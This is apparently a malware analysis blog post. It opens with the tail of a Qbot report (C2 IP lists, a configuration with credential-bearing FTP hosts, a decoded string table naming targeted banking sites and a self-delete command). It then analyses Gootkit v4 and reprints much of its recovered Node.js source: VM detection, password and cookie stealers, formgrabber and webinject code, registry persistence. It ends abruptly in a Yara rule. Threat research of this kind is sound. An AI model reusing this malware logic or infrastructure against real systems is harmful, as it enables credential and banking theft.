47.223.85[.]33;0;443
98.26.2[.]182;0;443
50.111.32[.]211;0;443
68.207.33[.]232;0;2222
68.173.55[.]51;0;443
76.186.82[.]51;0;443
67.197.104[.]90;0;443
73.40.24[.]158;0;443
50.42.189[.]206;0;993
65.116.179[.]83;0;443
50.32.243[.]36;0;443
185.219.83[.]73;0;443
72.133.105[.]155;0;443
216.201.159[.]118;0;443
68.207.43[.]173;0;443
216.218.74[.]196;0;443
96.248.15[.]254;0;995
75.189.235[.]216;0;443
98.103.2[.]226;0;443
24.100.46[.]201;0;2222
24.11.50[.]136;0;443
75.109.193[.]173;0;2087
73.106.122[.]121;0;443
173.160.3[.]209;0;443
70.118.18[.]242;0;443
24.163.66[.]146;0;443
173.248.24[.]230;0;443
68.129.231[.]84;0;443
174.48.72[.]160;0;443
216.93.143[.]182;0;995
184.180.157[.]203;0;2222
68.49.120[.]179;0;443
75.109.193[.]173;0;1194
75.109.193[.]173;0;8443
98.16.70[.]197;0;2222
47.134.236[.]166;0;443
105.227.20[.]203;0;443
97.70.129[.]250;0;443
24.228.185[.]224;0;2222
72.174.25[.]139;0;443
24.209.137[.]134;0;443
98.225.141[.]232;0;443
67.197.97[.]144;0;443
173.81.42[.]136;0;21
24.155.191[.]156;0;995
97.84.210[.]38;0;2222
93.108.180[.]227;0;443
190.185.219[.]110;0;443
63.79.135[.]0;0;443
96.73.55[.]193;0;993
207.178.109[.]161;0;443
99.197.182[.]183;0;443
67.83.122[.]112;0;2222
50.198.141[.]161;0;2078
47.40.29[.]239;0;443
12.2.201[.]35;0;443
76.176.7[.]41;0;443
75.127.141[.]50;0;995
71.210.153[.]133;0;443
189.175.147[.]195;0;443
73.231.147[.]128;0;443
73.130.229[.]200;0;443
67.11.27[.]100;0;443
12.196.116[.]242;0;443
216.21.168[.]27;0;32101
24.6.31[.]163;0;443
216.21.168[.]27;0;995
96.40.85[.]72;0;443
69.129.12[.]186;0;21
71.172.250[.]114;0;443
73.152.213[.]187;0;80
68.226.136[.]96;0;443
71.222.141[.]81;0;61200
76.182.33[.]43;0;2222
24.180.160[.]192;0;443
173.160.3[.]209;0;995
97.70.85[.]248;0;443
24.180.246[.]147;0;443
173.70.44[.]171;0;443
216.21.168[.]27;0;50000
24.180.246[.]147;0;443
96.32.171[.]132;0;443
47.48.236[.]98;0;2222
70.182.79[.]66;0;443
173.80.75[.]177;0;443
24.141.179[.]121;0;443
204.85.12[.]25;0;443
24.175.103[.]122;0;995
24.252.80[.]93;0;443
68.206.135[.]146;0;443
184.174.166[.]107;0;443
71.33.192[.]23;0;995
24.190.226[.]234;0;443
71.10.155[.]97;0;443
24.180.246[.]147;0;443
181.93.205[.]181;0;443
207.243.48[.]26;0;443
68.113.142[.]24;0;465
72.193.162[.]108;0;443
68.59.209[.]183;0;995
98.243.166[.]148;0;443
72.179.39[.]89;0;443
67.76.37[.]105;0;443
174.109.117[.]152;0;443
73.52.101[.]153;0;80
70.21.182[.]149;0;2222
24.180.246[.]147;0;443
65.191.74[.]248;0;443
65.40.207[.]151;0;995
73.183.145[.]218;0;2222
209.213.24[.]194;0;443
68.207.33[.]242;0;443
172.87.188[.]2;0;443
65.132.30[.]18;0;443
104.153.240[.]6;0;2222
24.93.104[.]154;0;443
75.106.233[.]194;0;443
65.191.128[.]99;0;443
65.169.66[.]123;0;2222
71.172.250[.]114;0;443
67.55.174[.]194;0;443
107.15.153[.]110;0;8443
205.169.108[.]194;0;443
47.221.46[.]163;0;443
71.48.218[.]91;0;995
73.74.72[.]141;0;443
71.85.72[.]9;0;443
172.164.17[.]102;0;443
173.191.238[.]124;0;995
47.186.93[.]228;0;443
184.191.61[.]13;0;32100
209.180.154[.]97;0;995
68.133.47[.]150;0;443
75.189.239[.]153;0;443
204.85.12[.]26;0;443
76.101.165[.]66;0;443
97.84.166[.]64;0;443
72.133.75[.]134;0;443
68.207.45[.]236;0;443
104.153.240[.]6;0;2222
206.67.215[.]7;0;443
206.67.215[.]7;0;443


B. Qbot Configuration

10=mc15
11=2
47=REDACTED
1=REDACTED
2=REDACTED
45=97.84.166[.]64
46=443
13=content[.]markdutchinc[.]com
39=REDACTED
38=REDACTED
6=85.25.211[.]31:65400
43=REDACTED
15=-722023893
5=REDACTED
44=REDACTED
3=REDACTED
22=37.60.244[.]211:backup_manager@garciasdrywall[.]com:REDACTED:
23=198.38.77[.]162:backup_manager@worldexpresscargo[.]com:REDACTED:
24=61.221.12[.]26:logger@ostergift[.]com:REDACTED:
25=67.222.137[.]18:logger@grupocrepusculo[.]net:REDACTED:
26=107.6.152[.]61:logger@trussedup[.]com:REDACTED:

IX. Appendix: Full Decoded First-Layer Template

WNetCancelConnection2W
END
FindWindowA
GetFileAttributesW
ntdll.dll
VirtualProtect
image/jpeg
Software\Microsoft\Office\Outlook\OMI
Account
Manager\Accounts
InternetQueryDataAvailable
DnsQuery_W
shell32.dll
qbot_conf_path='%s'
username='%s'
ws2_32.dll
USERPROFILE
CreateFileA
.dll
.cfg
.png
vSockets
Module32First
CloseServiceHandle
HttpSendRequestExW
HttpSendRequestExA
dumprep.exe
CertFreeCertificateChainEngine
dnsrslvr.dll
Bitdefender
LookupAccountSidA
StringIndex
%s
/P
%s
Microsoft
Security
Essentials
RegOpenKeyExA
HttpOpenRequestW
HttpEndRequestW
:String
WNetOpenEnumW
fshook32.dll
NTUSER.DAT
GenuineIntel
CertAddCertificateContextToStore
mlwr_smpl
RegCloseKey
CertEnumSystemStore
Process32Next
PostMessageA
FtpOpenFileA
Passport.Net\*
/s
LdrLoadDll
SendMessageA
http
CertOpenStore
If-Modified-Since
kernel32.dll
Initializing
database...
/c
QEMU
NetGetDCName
.jpeg
VMware
Vista
f1
SbieDll.dll
Norton
PR_Read
com;net;org;info;biz;org
NOD32
GetModuleFileNameA
Software\Microsoft\Internet
Account
Manager\Accounts
RegQueryValueExA
%02u.%02u.%02u-%02u/%02u/%04u
m1
\*.txt
82BD0E67-9FEA-4748-8672-D5EFE5B779B0
Red
Hat
VirtIO
windbg.exe;ChromeUpdate.exe;msdev.exe;dbgview.exe;ollydbg.exe;ctfmon.exe;Proxifier.exe;nav.exe;Microsoft.Notes.exe;ShellExperienceHost.exe
vmnat.exe
UnregisterClassA
TEMP
cert_name=[%s|%s]
SMTP
Port;POP3
Port;IMAP
Port;SMTP
Email
Address;SMTP
Server;POP3
Server;POP3
User
Name;SMTP
User
Name;NNTP
Email
Address;NNTP
User
Name;NNTP
Server;IMAP
Server;IMAP
User
Name;Email;HTTP
User;HTTP
Server
URL;POP3
User;IMAP
User;HTTPMail
User
Name;HTTPMail
Server;SMTP
User;001e6607;001e6608
FreeSid
CreateRemoteThread
h1
antivirus

InternetWriteFile
VMware
server
memory
CreateThread
CreateServiceA
SetEndOfFile
Common
Files
wtsapi32.dll
1
Symantec
Shared
RegEnumKeyExA
TAB
ShowWindow
abe2869f-9b47-4cd9-a358-c22904dba7f7
WNetAddConnection2W
USER
FindNextFileW
p=[
artic1e
RegEnumValueW
open
srootkit
ftp
CreateServiceW
FtpDeleteFileA
WTSFreeMemory
11
CertEnumCertificatesInStore
HttpOpenRequestA
InternetReadFileExW
UpdateWindow
VMware
Replay
CertGetCertificateChain
k1
vmdebug
ext_ip=[%s]
dnsname=[%s]
hostname=[%s]
user=[%s]
domain=[%s]
is_admin=[%s]
os=[%s]
qbot_version=[%s]
install_time=[%s]
exe=[%s]
prod_id=[%s]
PeekMessageW
ZwSetLdtEntries
aabcdeefghiijklmnoopqrstuuvwxyyz
VMware
Pointing
FindClose
Software\Microsoft\Windows
NT\CurrentVersion\Windows
Messaging
Subsystem\Profiles
facebook.com/login.php
vmx_svga
mcafee
DestroyWindow
abc
Microsoft
vmacthlp.exe
GetLastError
ReadProcessMemory
ZwQueryInformationThread
k2
Mozilla/5.0
(Windows
NT
6.1;
rv:54.0)
Gecko/20100101
Firefox/54.0
2
InternetGetLastResponseInfoA
APPDATA
RegEnumValueA
dnsapi.dll
VirtualFreeEx
WindowsLive:name=*
ExpandEnvironmentStringsA
CreateDirectoryA
WTSQueryUserToken
cookie=[%s]
WSAConnect
i1
kb
WTSEnumerateSessionsA
PR_Close
DisplayName
Remote
Procedure
Call
(RPC)
Service
kaspersky
WSASetLastError
sample.exe
vmtoolsd.exe
FindNextFileA
ZwQuerySystemInformation
crypt32.dll
CertAddCRLContextToStore
InternetOpenUrlA
SOFTWARE\Microsoft\Windows
NT\CurrentVersion
HOME
netapi32.dll
CertGetEnhancedKeyUsage
WriteFile
https://cdn.speedof.me/sample4096k.bin?r=0.%u
CredEnumerateW
CreateWindowExA
\Cookies
*.*
advapi32.dll
WaitForSingleObject
InternetCrackUrlA
%u.%u.%u.%u
000
FindFirstFileA
wpl
url=[%s]
user=[%s]
pass=[%s]
InternetOpenA
POP3
Password;IMAP
Password;NNTP
Password;HTTPMail
Password;SMTP
Password;POP3
Password2;IMAP
Password2;NNTP
Password2;HTTPMail
Password2;SMTP
Password2
.swf
Avast
MiniDumpWriteDump
CertCloseStore
DeleteFileA
\Application
Data\Macromedia\Flash
Player\#SharedObjects
GetExitCodeProcess
RegSetValueExA
cmd.exe
artifact.exe
rsaenh.dll
.css
nspr4.dll
NetShareEnum
RegQueryInfoKeyA
RegCreateKeyExA
sbtisht
PFXExportCertStore
WSAStartup
If-None-Match
VirtualProtectEx
CertSetCertificateContextProperty
WSACleanup
_qbot
]
b=[
220d5cc1
vmscsi
CreateFileW
connect
LOCALAPPDATA
at.exe
%u:%u
"%s"
/I
AllocateAndInitializeSid
url=[%s]
VMware
VMaudio
i2
image/pjpeg
%H.%M.%S-%d/%m/%Y
dwwin.exe
CryptAcquireCertificatePrivateKey
w1
c1
aswhookx.dll
host=[%s:%u]
user=[%s]
pass=[%s]
AVG
siteadvisor.com;avgthreatlabs.com;safeweb.norton.com
very
big
postdata
%u
bytes
CredEnumerateA
HttpQueryInfoW
VMware
SVGA
1234567890
InternetReadFileExA
InternetConnectA
Software\Microsoft\Internet
Explorer\IntelliForms\Storage2
CertCreateCertificateChainEngine
SetCurrentDirectoryA
TE
Trend
Micro
vmrawdsk
.gif
CredFree
CreateToolhelp32Snapshot
Process32First
explorer.exe
ChromeUpdate.exe
DeleteService
Cookie:
dwErr=%u
szOldRunMutex='%s'
username='%s'
CertGetCRLContextProperty
AdjustTokenPrivileges
aswhooka.dll
GetCurrentProcessId
SetFilePointer
dwErr=%u
qbot_run_mutex='%s'
username='%s'
InternetOpenW
CharToOemBuffA
PR_SetError
9
wininet.dll
security
NetUserEnum
ZwResumeThread
t=%s
time=[%02d:%02d:%02d-%02d/%02d/%d]
HttpAddRequestHeadersA
mpr.dll
StartServiceA
VBoxVideo
runas
uno
InternetQueryOptionA
OpenProcess
Norton
Internet
Security
application/x-shockwave-flash
ProductId
WNetCloseEnum
OpenThread
%%%02X
https://
iphlpapi.dll
aaebcdeeifghiiojklmnooupqrstuuyvwxyyaz
DELETE
]
cookie_data=[
HttpQueryInfoA
data=[%s]
DeleteUrlCacheEntryW
CertGetNameStringW
InterlockedCompareExchange
InternetSetOptionA
e161255a
nss3.dll
windump.exe
Dnscache
CreateProcessW
CryptUnprotectData
GetClipboardData
svchost.exe
WSAGetLastError
OpenSCManagerW
abcdefghijklmnopqrstuvwxyz
Module32Next
.exe
CertFreeCertificateChain
s2
CryptFindOIDInfo
DeleteServiceW
Virtual
HD
.ani
.ico
ResumeThread
PostQuitMessage
InternetSetStatusCallback
cnn.com;microsoft.com;baidu.com;facebook.com;yahoo.com;wikipedia.org;qq.com;linkedin.com;mail.ru
GetForegroundWindow
220d5cd0
VirtualAllocEx
InternetReadFile
VMware
SCSI
LocalFree
GetCurrentThreadId
Query_Main
url=[%s]
data=[%s]
3
\sf2.dll
GetProcAddress
PASS
GetExitCodeThread
DispatchMessageA
0123456789
CryptEnumOIDInfo
iedw.exe
CertFreeCRLContext
RIGHT
user_pref("network.http.spdy.enabled.http2",
false);
CloseHandle
comet.yahoo.com;.hiro.tv;safebrowsing.google.com;geo.query.yahoo.com;googleusercontent.com;salesforce.com;officeapps.live.com;storage.live.com;messenger.live.com;.twimg.com;api.skype.com;mail.google.com;.bing.com;playtoga.com;.mozilla.com;.mozilla.org;hotbar.com;lphbs.com;contacts.msn.com;search.msn.com;clients.mindbodyonline.com;loyaltyconnect.ihg.com;.amazonaws.com;audatexsolutions.com;mail.services.live.com;etsy.com;.king.com;phantomefx.com;facebook.com;.gator.com;doubleclick.;zango.com;180solutions.com;wildtangent.com;webhancer.com;tbreport.bellsouth.net;spamblockerutility.com;internet-optimizer.com;.adworldmedia.com;seekmo.com;r777r.info;sipuku.com;eorezo.com;newasp.com.cn;wpzkq.com;radialpoint.com;owlforce.com;.microsoft.com;localhost;127.0.0.1;securestudies.com;farmville.com;mybrowserbar.com;auditude.com;digitalmediacommunications.com;mapquest.com;kixeye.com;myshopres.com;conduit-services.com;zynga.com;.5min.com;netflix.com;tubemogul.com;youtube.com;brightcove.com;mochibot.com;fwmrm.net;mendeley.com
PR_OpenTCPSocket
PR_GetNameForIdentity
avcuf32.dll
mutex
_AVIRA_71855
CreateProcessA
referer=[%s]
&dump=
PROGRAMFILES
ReadFile
GetMessageW
dbghelp.dll
h3
InternetGetCookieA
HttpSendRequestA
FtpGetFileA
.jpg
StartServiceW
cert_data=[
%s_%s_%u.zip
SetLastError
.js?
GetCurrentDirectoryA
cookie_name=[
ansfltr
DnsQuery_A
CertFreeCertificateContext
ProfileImagePath
u1
LEFT
NetApiBufferFree
*/*
PeekMessageA
metsvc-server.exe
time=[%d:%d:%d-%d/%d/%d]
ex_code=0x%08x
ex_addr=0x%p
ex_module=[%s]
ex_module_base=0x%p
nick=[%s]
th_args=[%08x]
th_flags=[0x%08x]
qbot_version=[%s]
WriteProcessMemory
CertAddCTLContextToStore
ProgramFiles(x86)
5e7e8100
sample
Software\Microsoft\Windows\CurrentVersion\Uninstall
InternetGetCookieExA
Software\\Microsoft\\Windows\\CurrentVersion\\Internet
Settings\\Zones\\
%s%s/dupinst.php?n=%s&bg=%s&r=%u
SetEntriesInAclA
ESCAPE
CPExportKey
ShellExecuteA
https
]
t=[
send
FindFirstFileW
TranslateMessage
AVAST
Software
cryptui.dll
MessageBoxA
rsabase.dll
OpenSCManagerA
WSASend
VMware
Accelerated
8
%%%02x
WNetEnumResourceW
PR_Write
GetMessageA
InternetQueryOptionW
Avast
Global
VMAUDIO
ObtainUserAgentString
urlmon.dll
DefWindowProcA
StackWalk64
DnsQueryExW
PStoreCreateInstance
h2
InternetCloseHandle
cmd
/c
ping
-n
10
localhost
&&
rmdir
/S
/Q
"%s"
RegisterClassExA
DnsQueryExA
i3
RegDeleteValueA
PR_GetError
GetUrlCacheEntryInfoA
10
MoveFileA
NetWkstaGetInfo
HttpEndRequestA
crashdata=
ZwReadFile
HttpSendRequestW
CWSandbox
treasurygateway;ecash.arvest.com;.ntrs.com;tdcommercialbanking.com;olb-ebanking.com;webinfoplus.mandtbank.com;accessmoneymanager.com;commerceconnections.commercebank.com;schwabinstitutional.com;intellix.capitalonebank.com;tdetreasury.tdbank.com;cmoltp.bbt.com;cashmanageronline.bbt.com;.hsbcnet.com;blilk.com;bankeft.com;cmol.bbt.com;securentrycorp.zionsbank.com;tmcb.zionsbank.com;.web-access.com;nj00-wcm;commercial.bnc.ca;/clkccm/;paylinks.cunet.org;e-facts.org;accessonline.abnamro.com;providentnjolb.com;firstmeritib.com;corporatebanking;firstmeritib.com/defaultcorp.aspx;e-moneyger.com;jsp/mainWeb.jsp;svbconnect.com;premierview.membersunited.org;each.bremer.com;iris.sovereignbank.com;/wires/;paylinks.cunet.org;securentrycorp.amegybank.com;tmcb.amegybank.com;businessbankingcenter.synovus.com;businessinternetbanking.synovus.com;ocm.suntrust.com;otm.suntrust.com;cashproonline.bankofamerica.com;singlepoint.usbank.com;netconnect.bokf.com;business-eb.ibanking-services.com;cashproonline.bankofamerica.com;/cashplus/;ebanking-services.com;/cashman/;web-cashplus.com;treas-mgt.frostbank.com;business-eb.ibanking-services.com;treasury.pncbank.com;access.jpmorgan.com;tssportal.jpmorgan.com;ktt.key.com;onlineserv/CM;premierview.membersunited.org;directline4biz.com;.webcashmgmt.com;tmconnectweb;moneymanagergps.com;ibc.klikbca.com;directpay.wellsfargo.com;express.53.com;ctm.53.com;itreasury.regions.com;itreasurypr.regions.com;cpw-achweb.bankofamerica.com;businessaccess.citibank.citigroup.com;businessonline.huntington.com;/cmserver/;goldleafach.com;iachwellsprod.wellsfargo.com;achbatchlisting;/achupload;commercial2.wachovia.com;commercial3.wachovia.com;commercial4.wachovia.com;wc.wachovia.com;commercial.wachovia.com;wcp.wachovia.com;chsec.wellsfargo.com;wellsoffice.wellsfargo.com;/ibws/;/stbcorp/;/payments/ach;trz.tranzact.org;/wiret;/payments/ach;cbs.firstcitizensonline.com;/corpach/;scotiaconnect.scotiabank.com;webexpress.tdbank.com;businessonline.tdbank.com;/wcmpw/;/wcmpr/;/wcmtr/;tcfexpressbusiness.com;trz.tranzact.org
pstorec.dll
VBoxGuest
wpq
ivm-inject.dll
GetModuleHandleA
BACKSP
url=[%s]
lb=[%s]
data=[%s]
PR_Poll
vm3dmp
vmxnet
norton
GetUrlCacheEntryInfoW
.lnk
user32.dll
.js
LdrGetProcedureAddress
SetNamedSecurityInfoA
GetFileAttributesA
LoadLibraryA
Basic
CertDuplicateCRLContext
Software\Microsoft\Windows
Messaging
Subsystem
image/gif
GetVolumeInformationA
SOFTWARE\Microsoft\Windows
NT\CurrentVersion\ProfileList
b9819c52

Let’s Learn: In-Depth Dive into Gootkit Banker Version 4 Malware Analysis

Goal: Analyze and reverse the Gootkit banking malware version 4 in depth.
Background: While reviewing several latest malware spam campaigns reported by multiplier researchers ranging from abusing legitimate email content services such as Mailchimp and Mailgun as reported by Derek Knight, I took a deeper into into malware analysis of the campaigns authored by the Gootkit cybercrime gang.

https://platform.twitter.com/widgets.js
Outline: 

I. Analysis
II. Malware Drop Sequence
III. Module Overview
IV. Registry Persistence
V. Yara: Main & Password Grabber Module 
VI. Domain Blocklist
VII. Appendix

I. Overview of Gootkit Banking Malware 
Gootkit is a modularized multi-functional Windows banking malware. The malware contains a rich functionality from webinject and Local Security Authority (LSA) grabber to Video Recorder and Mail Parser ones. Not only the gang is resourceful leveraging Node.js as the de-facto format for its functionality, they also borrow a lot of ideas from other malware variants. For example, in its “zeusfunctions,” the gang implements ZeuS-style URL mask parsing and matching visited websites; the gang also has a module called “grabPasswordsPony” meant to assist with credential recovery from compromised machines. Some of the malware oddities are its ability it various references to itself as “Gootkit” and their control domains mimicking fake “SSL” websites. The malware also contains their own Password Grabber “grabber.dll”

fs.writeFileSync(
tmpDirectory + "\\descr.txt",
"Uploaded by Gootkit :D",
"botid : ",
process.machineGuid,
"Date : ",
new Date().toUTCString(),
"Original filenames : ",
filenames.join("\r\n")

II. Malware drop sequence:
Main dropper (MD5: ba0f798acc31ff6984af91f235f5fac4) 
-> Node.js main loader binary (MD5: ba0f798acc31ff6984af91f235f5fac4)
-> “GrabPasswords” module (MD5: 1654b553a500ecf2f196216be458da05)
Export function: “GrabPasswords”

The decoded server configuration was as follows:

safenetssl[.]com|safenetssl[.]com|securesslweb[.]com

The main component is an exe code packaged via Node JavaScript bundle. The malware checks for the patterns “-test” and “-vwxyz.” 

A. Obfuscation
Main dropper is loaded in obfuscated form with strings encoded with XOR with round key. 
For example,

 for ( k = 0; k < sizeof(array_encoded); ++k )
_byteorder_func(&v264, k, *(&last_array_element + k % 5) ^ *(&first_array_elem + k));

To generate and decode the bot also leverages Mersenne Twister, a pseudorandom number generator (PRNG). 
B. The dropper creates a mutex thread “ServiceEntryPointThread
C. Anti-Analysis “vmx_detection”

The malware checks environment variable “crackmelolo” with series of checks and alters if its execution if not founds. Kaspersky Labs previous reported on “crackme.” Gootkit calls the anti-analysis routine as “vmx_detection.”
The key main function of “IsVirtualMachine” are as follows:

  • VmCheckGetDisksArray
  • VmCheckVitrualDisks
  • VmIsVirtualCPUPresent
  • IsVirtualMachine
unction IsVirtualMachine() {
//print('IsVirtualMachine >>> ');
var bIsVirtualMachine = false;
try{
var VMBioses = [
"AMI ",
"BOCHS",
"VBOX",
"QEMU",
"SMCI",
"INTEL - 6040000",
"FTNT-1",
"SONI"
];
var SystemBiosVersion =
(new reg.WindowsRegistry(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System", KEY_READ, true)
.ReadString("SystemBiosVersion") || "hui").toString();
for (let i = 0; i < VMBioses.length; i++) {
if (SystemBiosVersion.toLowerCase().indexOf(VMBioses[i].toLowerCase()) !== -1) {
bIsVirtualMachine = true;
break;
}
}
var ideDev
ices = VmCheckGetDisksArray('SYSTEM\\CurrentControlSet\\Enum\\IDE');
var scsiDevices = VmCheckGetDisksArray('SYSTEM\\CurrentControlSet\\Enum\\SCSI');
if (bIsVirtualMachine === false) {
bIsVirtualMachine = (
VmCheckVitrualDisks(ideDevices.keys) ||
VmCheckVitrualDisks(scsiDevices.keys)
);
}
if (bIsVirtualMachine === false) {
bIsVirtualMachine = VmIsVirtualCPUPresent();
}
} catch (exc) {
}
return bIsVirtualMachine;

III. Modules and Functionality Overview
Gootkit is extremely rich containing various functions and modules:

  • API Hooker
  • Take Screenshot
  • Get Process List
  • Get Local Network Neighborhood
  • Get Local Users and Groups
  • LSA Grabber Credential
  • Browser Stealer
  • Cookie Grabber
  • Virtual Network Computing (VNC) Remote Controller
  • Keylogger
  • Formgrabber
  • HTTP/HTTPS Webinjector / Redirector
  • Video Recorder
  • Mail Parser
  • Proxy
const P_SPYWARE = 4;
process.PORT_REDIRECTION_BASE = PORT_REDIRECTION_BASE;
exports.SpInitialize = gootkit_spyware.SpInitialize;
exports.SpHookRecv = gootkit_spyware.SpHookRecv;
exports.SpHookSend = gootkit_spyware.SpHookSend;
exports.SpUnhookHttp = gootkit_spyware.SpUnhookHttp;
exports.SpTakeScreenshot = gootkit_spyware.SpTakeScreenshot;
exports.SpGetProcessList = gootkit_spyware.SpGetProcessList;
exports.SpGetLocalNetworkNeighborhood = gootkit_spyware.SpGetLocalNetworkNeighborhood;
exports.SpGetLocalUsersAndGroups = gootkit_spyware.SpGetLocalUsersAndGroups;
exports.SpLsaGrabCredentials = gootkit_spyware.SpLsaGrabCredentials;
exports.DbgGetModuleDebugInformation = gootkit_spyware.DbgGetModuleDebugInformation;
exports.DbgGetLoadedModulesList = gootkit_spyware.DbgGetLoadedModulesList;
exports.DnsCacheGetDomainByAddr = gootkit_spyware.DnsCacheGetDomainByAddr;
exports.downloadFileRight = gootkit_spyware.DownloadFileRight;
exports.SpAddPortRedirection = gootkit_spyware.SpAddPortRedirection;
exports.SpGetVendor = gootkit_spyware.SpGetVendor;
exports.SpGetFileWatermark = gootkit_spyware.SpGetFileWatermark;
exports.SpSetFileWatermark = gootkit_spyware.SpSetFileWatermark;
exports.ExLoadVncDllSpecifyBuffers = gootkit_spyware.ExLoadVncDllSpecifyBuffers;
exports.ModExecuteDll32 = gootkit_spyware.ModExecuteDll32;
module.exports.collectCromePasswords = collectCromePasswords;
module.exports.collectFirefoxPasswords = collectFirefoxPasswords;
module.exports.collectWindowsPasswords = collectWindowsPasswords;
module.exports.collectIeCookies = collectIeCookies;
module.exports.collectChromiumCookies = collectChromiumCookies;
module.exports.collectFireFoxCookies = collectFireFoxCookies;
module.exports.collectChromePackedProfile = collectChromePackedProfile;
module.exports.sendCookiesToStore = sendCookiesToStore;
module.exports.grabPasswordsPony = grabPasswordsPony;

V. The bot and spyware message
The bot harvester message is as follows:

message Bot {
    optional string processName = 1;
    optional string guid = 2;
    optional string vendor = 3;
    optional string os = 4;
    optional string ie = 5;
    optional string ver = 6;
    optional int32  uptime = 7;
    optional int32  upspeed = 8;
    optional string internalAddress = 9;
    optional string HomePath = 10;
    optional string ComputerName = 11;
    optional string SystemDrive = 12;
    optional string SystemRoot = 13;
    optional string UserDomain = 14;
    optional string UserName = 15;
    optional string UserProfile = 16;
    optional string LogonServer = 17;
    optional int64  freemem = 18;
    optional int64  totalmem = 19;
    optional NetworkInterfaces networkInterfaces = 20;
    optional string tmpdir = 21;
    repeated Processor cpus = 22;
    optional string hostname = 23;
    optional bool IsVirtualMachine = 24;
}

The bot settings are:

message BotSettings {
    optional int32 fgMaxDataSize = 1   [default = 65000];
    optional int32 fgMinDataSize = 2   [default = 0];
    optional bool fgCaptureGet = 3   [default = false];
    optional bool fgCapturePost = 4   [default = true];
    optional bool fgCaptureCookies = 5[default = false];
    repeated string fgBlackList = 6;
    repeated string fgWhiteList = 7;
    optional int32 netCcTimeout = 8    [default = 300000];
optional bool kgIsKeyloggerEnabled = 9[default = false];
}

The bot tasks message looks as follows:

message Tasks {
    message Settings {
        optional int32  pingTime = 1;
    }
    optional Settings  settings = 1;
    optional bytes     slch = 2;
    optional bytes     rbody32_hash = 3;
    optional bytes     rbody64_hash = 4;
    optional bytes     defaultjs_hash = 5;
}

The “spyware” config is as follows:

message SpywareConfig {
    repeated SpywareConfigEntry injects = 1;
    repeated VideoConfigEntry recorders = 2;
    repeated FragmentConfigEntry fragments = 3;
    repeated MailFilterEntry emailfilter = 4;
    repeated RedirectionEntry redirects = 5;
    repeated PostParamsRecorderEntry post2macros = 6;
    optional BotSettings settings = 7;
if(os.release().split('.')[0] === '5'){

process.g_malwareBodyRegistryPath = "SOFTWARE";

}else{

process.g_malwareBodyRegistryPath = "SOFTWARE\\AppDataLow";
process.g_malwareRegistryPath = "SOFTWARE\\cxsw";
process.g_malwareRegistryHive = HKEY_CURRENT_USER;
process.g_SpDefaultKey = "{da14b39e-535a-4b08-9d68-ba6d14fed630}";
process.g_SpPrivateKey = "{bed00948-29e2-4960-8f98-4bcd7c6b00a5}";

VI. Formgrabber

    process.formgrabber.options  = {

http : {
            grubGet : false,
grubPost : true

},

https : {
grubGet : true,
grubPost : true
}
}

var restrictedHosts = [

'www.google-analytics.com',
'counter.rambler.ru',
'rs.mail.ru',
'suggest.yandex.ru',
'clck.yandex.ru',
'plus.google.com',
'plus.googleapis.com',
's.youtube.com',
'urs.microsoft.com',
'safebrowsing-cache.google.com',
'safebrowsing.google.com',
'www.youtube.com'

var restrictedExtensions = [

'.png', '.jpg', '.jpeg', '.gif', '.bmp',
'.pcx', '.tiff', '.js', '.css', '.swf',
'.avi', '.mpg', '.aac', '.mp3', '.mov',
'.jar', '.cnt', '.scn', '.ico'

var restrictedSubstrings = [

'safebrowsing',
'.metric.gstatic.com',
'/complete/search'

process.formgrabber = {
    restrictedExtensions: restrictedExtensions,
restrictedHosts: restrictedHosts,
restrictedSubstrings: restrictedSubstrings,

dSubstrings: restrictedSubstrings,
options: {
http: {
grubGet: false,
grubPost: false
},
https: {

grubGet: false,
grubPost: false
}
}
exports.formgrabber = process.formgrabber;

IX. HTTP/HTTPS Webinjector

//------------------------------------------------

// -- http/https injects

//------------------------------------------------

function isInternalApiRequest(requestDesc){

if(requestDesc.location.indexOf('spinternalcall') !== -1){
return true;

}
return false;

function IsLocationLocked(location){

//trace("IsLocationLocked : '%s'", location);
if(!process.proxyServers){
return false;

}

if(!process.proxyServers.blockedAddresses){
return false;

}

for(let i = 0; i < process.proxyServers.blockedAddresses.length; i ++){
if (zeusfunctions.zeusSearchContentIndex(location,
process.proxyServers.blockedAddresses[i])

){
return true;
}

}

return false;

function ReqProcessFakes(clientRequest){

if(!clientRequest.headers['host']){
return false;

}
var host = clientRequest.headers['host'].split(':')[0];

if(process.proxyServers.fakes[host]){
clientRequest.fakeHost =
process.proxyServers.fakes[host];

return true;

}

return false;

function manageUserConnection(clientRequest, clientResponse, isSsl) {

clientRequest.isSSL = isSsl;
clientRequest.desc = createUrlDescriptionFromRequestObject(clientRequest);
clientRequest.id = getid();
if(isInternalApiRequest(clientRequest.desc)){
return require('internalapi').serve(clientRequest,

clientResponse);

}

if(IsLocationLocked(clientRequest.desc.location) === true){

return /*clientResponse.end();*/

/*

emulate browser

time-out error for now

*/

}

ReqProcessRedirects(clientRequest);
ReqProcessFakes(clientRequest);
http_injection_stream.IsContentModificationNeeded(clientRequest, function (bIsContentBufferingNeeded) {

let func = http_injection_stream.ThrottleRequestToBrowserDirect;

if(bIsContentBufferingNeeded){
func = http_injection_stream.ThrottleRequestToBrowserInjected;
}
func(clientRequest, clientResponse);
});


Web Redirection Code:

function ReqProcessRedirects(clientRequest){

let id = clientRequest.id;
/*

clientRequest.isRedirectionRuleTriggered - boolean
"redirects": [
{
"name": "yandex test",
"uri": "hxxps://yastatic[.]net",
"keyword": "wfjwe892njf902n3f",
"uripassword": "",
"datapassword": ""
}
]
hxxps://mail[.]ru/wfjwe892njf902n3f/share/cnt[.]share[.]js -> hxxps://yastatic[.]net/share/cnt[.]share[.]js

*/
if (util.isUndefined(clientRequest)) {
return false;
}
if (util.isUndefined(clientRequest.desc)) {
return false;
}
var murl = clientRequest.desc.location;
var method = clientRequest.desc.method.toUpperCase();
var bRedirectTriggered = false;
if (method !== 'GET' && method !== 'POST') {
rlog('ReqProcessRedirects', id, 'invalid method', method);
return false;
}

IV. Persistence settings in HKEY_CURRENT_USER:

if(os.release().split('.')[0] === '5'){

process.g_malwareBodyRegistryPath = "SOFTWARE";

}else{

process.g_malwareBodyRegistryPath = "SOFTWARE\\AppDataLow";
process.g_malwareRegistryPath = "SOFTWARE\\cxsw";
process.g_malwareRegistryHive = HKEY_CURRENT_USER;
process.g_SpDefaultKey = "{da14b39e-535a-4b08-9d68-ba6d14fed630}";
process.g_SpPrivateKey = "{bed00948-29e2-4960-8f98-4bcd7c6b00a5}";

V. Yara Rule:

rule crime_win32_gootkit_main_bin {

meta:

description = “Gootkit banking malware dropper binary”
author = “@VK_Intel”
